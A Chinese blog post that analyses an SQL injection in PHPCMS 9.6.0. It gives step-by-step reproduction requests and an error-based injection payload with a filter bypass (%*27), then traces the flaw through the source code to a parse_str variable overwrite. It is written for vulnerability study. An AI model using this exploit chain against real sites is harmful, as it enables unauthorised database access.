phpcms_v9.6.0 SQL注入漏洞分析

环境:

phpstudy本地搭建phpcms

apache2.4.39+php5.3.29+mysql8.0.12

 

漏洞影响版本:

PHPCMS 9.6.0

 

复现:

1、首先访问/index.php?m=wap&c=inde&siteid=1获取cookie

 

 

 2、访问/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26id=%*27%20and%20updatexml%281%2Cconcat%281%2C%28database%28%29%29%29%2C1%29%23%26m%3D1%26f%3Dhaha%26modelid%3D2%26catid%3D7%26,发送POST请求带上第一步的加密完的siteid cookie值,从而获取到一个加完密的json cookie值。

 

 

3、访问/index.php?m=content&c=down&a_k=b950ZIHtm9CsnWsrCUMoaDBeQQFT95mtUi29q6xiqhx9TREJsEUi_Z7uvaXqqYkBx5Q870nZNYk8UHuLyXHpUfD3GJXTEKQD-4PV2NR_qXjXDawlHPhDPoton4kVePOsIQVpm_ji1r-YhME_bzI3W6euoPefahowKRsIh0yX7-YByj-bzEnKk4TNzTbE,a_k的值为第二步中加密的json cookie值

 

 成功的执行了第二部中的报错注入的代码,爆出了库名

 

分析:

1、wap模块代码分析

 1     function __construct() {        
 2         $this->db = pc_base::load_model('content_model');
 3         $this->siteid = isset($_GET['siteid']) && (intval($_GET['siteid']) > 0) ? intval(trim($_GET['siteid'])) : (param::get_cookie('siteid') ? param::get_cookie('siteid') : 1);
 4         param::set_cookie('siteid',$this->siteid);    
 5         $this->wap_site = getcache('wap_site','wap');
 6         $this->types = getcache('wap_type','wap');
 7         $this->wap = $this->wap_site[$this->siteid];
 8         define('WAP_SITEURL', $this->wap['domain'] ? $this->wap['domain'].'index.php?' : APP_PATH.'index.php?m=wap&siteid='.$this->siteid);
 9         if($this->wap['status']!=1) exit(L('wap_close_status'));
10     }

从$_GET中提取了siteid的值,并且交给param类中的静态方法set_cookie。

 

2、跟进set_cookie方法

 1     public static function set_cookie($var, $value = '', $time = 0) {
 2         $time = $time > 0 ? $time : ($value == '' ? SYS_TIME - 3600 : 0);
 3         $s = $_SERVER['SERVER_PORT'] == '443' ? 1 : 0;
 4         $var = pc_base::load_config('system','cookie_pre').$var;
 5         $_COOKIE[$var] = $value;
 6         if (is_array($value)) {
 7             foreach($value as $k=>$v) {
 8                 setcookie($var.'['.$k.']', sys_auth($v, 'ENCODE'), $time, pc_base::load_config('system','cookie_path'), pc_base::load_config('system','cookie_domain'), $s);
 9             }
10         } else {
11             setcookie($var, sys_auth($value, 'ENCODE'), $time, pc_base::load_config('system','cookie_path'), pc_base::load_config('system','cookie_domain'), $s);
12         }
13     }

通过第4行代码获取cookie的变量名并在第11行通过sys_auth加密,从而获取第一步的ftbOk_siteid值。

 

3、attachment模块代码分析

 1     public function swfupload_json() {
 2         $arr['aid'] = intval($_GET['aid']);
 3         $arr['src'] = safe_replace(trim($_GET['src']));
 4         $arr['filename'] = urlencode(safe_replace($_GET['filename']));
 5         $json_str = json_encode($arr);
 6         $att_arr_exist = param::get_cookie('att_json');
 7         $att_arr_exist_tmp = explode('||', $att_arr_exist);
 8         if(is_array($att_arr_exist_tmp) && in_array($json_str, $att_arr_exist_tmp)) {
 9             return true;
10         } else {
11             $json_str = $att_arr_exist ? $att_arr_exist.'||'.$json_str : $json_str;
12             param::set_cookie('att_json',$json_str);
13             return true;            
14         }
15     }

通过attachment模块中的attachments.php中的函数swfupload_json(),将获取的aid、src、filename变量赋值然后通过json_encode函数进行json编码,在第12行通过set_cookie对这里我们传入的变量的json编码进行加密。

第二步中的%*27是绕过第3行safe_replace()函数中str_replace对%27的过滤,导致过滤了*而%27仍然保留

 

4、content模块down.php代码分析

 1     public function init() {
 2         echo "init<br/>";
 3         $a_k = trim($_GET['a_k']);
 4         if(!isset($a_k)) showmessage(L('illegal_parameters'));
 5         $a_k = sys_auth($a_k, 'DECODE', pc_base::load_config('system','auth_key'));
 6         if(empty($a_k)) showmessage(L('illegal_parameters'));
 7         unset($i,$m,$f);
 8         parse_str($a_k);
 9         if(isset($i)) $i = $id = intval($i);
10         if(!isset($m)) showmessage(L('illegal_parameters'));
11         if(!isset($modelid)||!isset($catid)) showmessage(L('illegal_parameters'));
12         if(empty($f)) showmessage(L('url_invalid'));
13         $allow_visitor = 1;
14         $MODEL = getcache('model','commons');
15         $tablename = $this->db->table_name = $this->db->db_tablepre.$MODEL[$modelid]['tablename'];
16         $this->db->table_name = $tablename.'_data';
17         $rs = $this->db->get_one(array('id'=>$id));    

down.php中的init()函数会自动调用,第5行对传入的a_k进行一个解密,解密之后就又变成了json编码的值

{"aid":1,"src":"&id=%27 and updatexml(1,concat(1,(database())),1)#&m=1&f=haha&modelid=2&catid=7&","filename":""}

重点在于第8行的parse_str函数,只传入了一个参数造成了$id的变量覆盖,$id的值便变成了我们传入的payload

 

 而第17行就会对我们的传入的注入命令执行,从而报错,得到结果

 

 最终执行语句:

SELECT * FROM `phpcmsv9_61`.`v9_download_data` WHERE  `id` = '' and updatexml(1,concat(1,(database())),1)#' LIMIT 1

 

php中对parse_str()函数的使用

 

posted @ 2021-07-07 14:06  1jzz  阅读(196)  评论(0编辑  收藏  举报